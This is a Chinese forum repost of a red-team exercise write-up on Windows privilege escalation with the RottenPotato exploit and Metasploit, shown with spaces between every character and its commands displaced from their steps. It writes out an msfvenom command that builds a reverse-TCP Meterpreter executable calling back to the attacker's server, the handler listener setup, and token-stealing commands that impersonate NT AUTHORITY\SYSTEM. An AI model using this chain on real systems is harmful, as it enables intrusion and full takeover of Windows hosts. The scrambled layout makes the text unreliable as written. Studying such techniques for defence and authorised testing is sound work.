搜索

[21037] 2020-05-17_记一次HW实战笔记艰难的提权爬坑

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-05-17_记一次HW实战笔记艰难的提权爬坑 记 一 次 H W 实 战 笔 记   |   艰 难 的 提 权 爬 坑 L e m o n S e c   2 0 2 0 - 0 5 - 1 7 以 下 文 章 来 源 于 渗 透 X i a o 白 帽   ， 作 者 S u P e j k j 烂 土 豆 烂 土 豆 + M e t a s p l o i t 提 权 提 权 试 了 多 种 方 式 都 没 有 成 功 ， 后 来 找 到 了 R o t t e n P o t a t o （ 烂 土 豆 ） S u c c e s s f u l ！ ！ ！ ！ 0 x 0 0   前 言 前 言     对 实 战 的 一 次 简 单 整 理 ， 也 算 是 对 自 己 的 一 种 收 获 。 （ 主 要 还 是 自 己 太 菜 了 ） 距 离 H W 的 日 子 越 来 越 近 ， 一 些 厂 商 也 在 为 真 正 H W 前 做 准 备 。 搞 一 些 企 业 攻 防 演 练 ， 通 过 在 实 战 中 发 现 自 身 存 在 那 些 问 题 ， 避 免 在 实 际 当 中 被 恶 意 攻 击 者 利 用 造 成 不 必 要 的 损 失 。 扯 得 有 点 多 . . .     接 下 来 直 奔 正 题 ， 到 提 权 这 一 步 了 说 明 已 经 拿 到 s h e l l ， 怎 么 拿 的 就 不 细 说 了 （ @ s h e l l 小 王 子 ） 0 x 0 1   生 成 后 门 程 序 生 成 后 门 程 序 我 是 在 v p s 的 命 令 行 下 直 接 执 行 以 下 命 令 获 得 一 个 针 对 w i n d o w s 的 反 弹 型 木 马 ： 这 里 我 们 为 生 成 的 木 马 指 定 了 p a y l o a d 为 : 0 x 0 2   执 行 监 听 执 行 监 听 0 x 0 3   使 用 使 用 P o t a t o ( 烂 土 豆 烂 土 豆 )   窃 取 窃 取 s y s t e m   令 牌 并 模 仿 令 牌 令 牌 并 模 仿 令 牌 1 .   先 g e t u i d 看 看 自 己 的 当 前 i d ， 可 以 看 到 只 是 n e t w o r k 服 务 2 .   然 后 加 载 窃 取 令 牌 的 模 块 这 个 模 块 是 用 来 窃 取 令 牌 、 模 仿 令 牌 的 。 令 牌 就 相 当 于 C o o k i e 。 W i n d o w s 中 有 两 种 令 牌 ， 一 种 是 D e l e g a t i o n   T o k e n ， 是 为 交 互 式 登 录 （ 比 如 登 录 进 系 统 或 者 通 过 远 程 桌 面 连 接 到 系 统 ） 创 建 的 。 另 一 种 是 I m p e r s o n m a t e   T o k e n （ 模 仿 令 牌 ） ， 它 是 为 非 交 互 式 会 话 创 建 的 。 3 .   列 出 当 前 令 牌 ( 这 是 已 经 提 权 之 后 的 ， 之 前 的 截 图 找 不 到 了 ) 渗 透 渗 透 X i a o 白 帽 白 帽   . 积 硅 步 以 致 千 里 ， 积 怠 惰 以 致 深 渊 ！ M e t e r p r e t e r 自 动 提 权 溢 出 漏 洞 模 块 提 权 利 用 M S 1 6 - 0 1 6 进 行 m e t e r p r t e r 提 权 . . . . . . . 利 用 M S 1 6 - 0 7 5 提 权 （ 烂 土 豆 ） m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = { v p s 监 听 i p }   l p o r t = { 端 口 }   - f   e x e   - o   / t m p / m s f . e x e w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p 反 弹 到 的 监 听 端 地 址 为 你 的 v p s 地 址 监 听 端 口 为 6 6 6 6 （ 随 意 设 置 监 听 端 口 ） - f   e x e   - o   / t m p / m s f . e x e     文 件 输 出 格 式 为 e x e , 并 保 存 到 路 径 / t m p / m s f . e x e u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   v p s 地 址 s h o w   o p t i o n s u s e   i n c o g n i t o     / /     用 来 窃 取 令 牌 、 模 仿 令 牌 l i s t _ t o k e n s   - u       / / 可 以 看 到 当 前 有 一 个 “ 代 表 令 牌 ”
4 .   冰 蝎 上 传 p o t a t o ， 然 后 进 入 自 己 放 p o t a t o 的 目 录 ， 执 行 E X P 5 .   再 l i s t _ t o k e n s 看 一 下 ,   可 以 看 到 当 前 是 有 了 一 个 S Y S T E M 权 限 的   可 以 模 仿 令 牌 6 .   然 后 执 行 窃 取 令 牌 的 命 令 注 意 这 里 反 斜 线 是 两 个 。 第 一 次 执 行 提 示 没 找 到 这 个 用 户 令 牌 。 这 个 原 因 我 估 计 是 令 牌 失 效 了 ， 就 跟 C o o k i e 失 效 一 样 。 所 以 再 执 行 一 次 E X P ， 然 后 按 ↑ 键 重 复 i m p e r s o n a t e _ t o k e n 几 次 命 令 。 可 以 看 到 第 二 次 是 成 功 模 仿 了 用 户 " N T   A U T H O R I T Y S Y S T E M " 。 7 .   g e t u i d 看 下 自 己 的 当 前 用 户 I D ， 可 以 看 到 是 S Y S T E M   。 使 用 s h e l l 命 令 获 得 一 个 交 互 式 c m d   s h e l l ， w h o a m i   也 是 成 功 了 到 这 里 就 提 权 成 功 了 ， 然 后 可 以 进 一 步 横 向 利 用 。 0 x 0 4   E X P 原 理 浅 析 原 理 浅 析 R o t t e n P o t a t o （ 烂 土 豆 ） 提 权 的 原 理 可 以 简 述 如 下 ： e x e c u t e   - c H   - f   . / p o t a t o . e x e i m p e r s o n a t e _ t o k e n   " N T   A U T H O R I T Y S Y S T E M "     / / 这 里 需 要 注 意 一 点 就 是 反 斜 线 是 两 个 。 1 . 欺 骗   “ N T   A U T H O R I T Y S Y S T E M ” 账 户 通 过 N T L M 认 证 到 我 们 控 制 的 T C P 终 端 。 2 . 对 这 个 认 证 过 程 使 用 中 间 人 攻 击 （ N T L M 重 放 ） ， 为 “ N T   A U T H O R I T Y S Y S T E M ” 账 户 本 地 协 商 一 个 安 全 令 牌 。 这 个 过 程 是 通 过 一 系 列 的 W i n d o w s   A P I 调 用 实 现 的 。 3 . 模 仿 这 个 令 牌 。 只 有 具 有 “ 模 仿 安 全 令 牌 权 限 ” 的 账 户 才 能 去 模 仿 别 人 的 令 牌 。 一 般 大 多 数 的 服 务 型 账 户 （ I I S 、 M S S Q L 等 ） 有 这 个 权 限 ， 大 多 数 用 户 级 的 账 户 没 有 这 个 权 限 。
所 以 ， 一 般 从 w e b 拿 到 的 w e b s h e l l 都 是 I I S 服 务 器 权 限 ， 是 具 有 这 个 模 仿 权 限 的 。 测 试 过 程 中 ， 发 现 使 用 已 经 建 好 的 账 户 去 反 弹 m e t e r p r e t e r 然 后 再 去 执 行 E X P 的 时 候 会 失 败 ， 但 使 用 菜 刀 、 冰 蝎 （ I I S 服 务 器 权 限 ） 反 弹 m e t e r p r e t e r 就 会 成 功 。 烂 土 豆 比 热 土 豆 的 优 点 是 ： 总 之 ， 我 对 这 个 的 理 解 是 通 过 中 间 人 攻 击 ， 将 C O M （ N T S Y S T E M 权 限 ） 在 第 二 步 挑 战 应 答 过 程 中 认 证 的 区 块 改 成 自 己 的 区 块 获 取 S Y S T E M 令 牌 ， 然 后 利 用 m s f 的 模 仿 令 牌 功 能 模 仿 S Y S T E M 令 牌 。 0 x 0 5   参 考 链 接 参 考 链 接 以 上 有 说 的 不 对 ， 不 全 的 欢 迎 大 佬 们 指 教             1 . 1 0 0 % 可 靠             2 . （ 当 时 ） 全 版 本 通 杀 。             3 . 立 即 生 效 ， 不 用 像 h o t     p o t a t o 那 样 有 时 候 需 要 等 W i n d o w s 更 新 才 能 使 用 。 h t t p : / / h a c k e r g u . c o m / p o w e r u p - s t e a l t o k e n - r o t t e n p o t a t o / h t t p s : / / w w w . c n b l o g s . c o m / b a c k l i o n / p / 9 4 8 4 9 5 0 . h t m l h t t p s : / / w w w . c n b l o g s . c o m / h o o k j o y / p / 1 2 4 6 0 0 8 9 . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理